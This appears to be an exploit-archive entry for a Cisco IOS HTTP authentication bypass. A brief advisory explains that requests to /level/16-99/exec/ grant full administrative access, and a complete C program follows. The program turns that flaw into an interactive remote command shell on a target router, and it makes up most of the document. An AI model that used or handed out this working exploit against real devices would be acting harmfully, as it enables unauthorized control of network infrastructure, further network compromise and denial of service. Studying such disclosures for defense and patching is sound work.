source: http://www.securityfocus.com/bid/2936/info
 
IOS is router firmware developed and distributed by Cisco Systems. IOS functions on numerous Cisco devices, including routers and switches.
 
It is possible to gain full remote administrative access on devices using affected releases of IOS. By using a URL of http://router.address/level/$NUMBER/exec/.... where $NUMBER is an integer between 16 and 99, it is possible for a remote user to gain full administrative access.
 
This problem makes it possible for a remote user to gain full administrative privileges, which may lead to further compromise of the network or result in a denial of service. 

/* Coded and backdored by Eliel C. Sardanons <eliel.sardanons@philips.edu.ar>
 * to compile:
 * bash# gcc -o cisco cisco.c 
 */

#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define HTTP_PORT 80
#define PROMPT "\ncisco$ "

int usage (char *progname) {
        printf ("Usage:\n\t%s server\n", progname);
        exit(-1);
}                                                               
        
int main (int argc, char *argv[]) {
        struct hostent *he;
        struct sockaddr_in sin;
        int sck, i;
        char command[256], buffer[512];
        if (argc < 2)
                usage(argv[0]);
        if ((he = gethostbyname(argv[1])) == NULL) {
                perror("host()");
                exit(-1);
        }
        sin.sin_family = AF_INET;
        sin.sin_port = htons(HTTP_PORT);
        sin.sin_addr = *((struct in_addr *)he->h_addr);
        while (1) {
                if ((sck = socket (AF_INET, SOCK_STREAM, 6)) <= 0) {
                        perror("socket()");
                        exit(-1);
                }
                if ((connect(sck, (struct sockaddr *)&sin, sizeof(sin))) < 0) {
                        perror ("connect()");
                        exit(-1);
                }
                printf (PROMPT);
                fgets (command, 256, stdin);
                if (strlen(command) == 1) 
                        break;
                for (i=0;i<strlen(command);i++) {
                        if (command[i] == ' ')
                                command[i] = '/';
                }
                snprintf (buffer, sizeof(buffer), 
                                                        "GET /level/16/exec/%s HTTP/1.0\r\n\r\n", command); 
                write (sck, buffer, strlen(buffer));
                memset (buffer, 0, sizeof(buffer));
                while ((read (sck, buffer, sizeof(buffer))) != 0) {
                        if ((strstr(buffer, "CR</A>")) != 0) {
                                printf ("You need to complete the command with more parameters or finish the command with 'CR'\n");
                                memset (buffer, 0, sizeof(buffer));
                                break;
                        } else if ((strstr(buffer, "Unauthorized")) != 0) {
                                printf ("Server not vulnerable\n");
                                exit(-1);
                        } else {
                                printf ("%s", buffer);
                                memset (buffer, 0, sizeof(buffer));
                        }
                 }
        }
        printf ("Thanks...\n");
        exit(0);
}
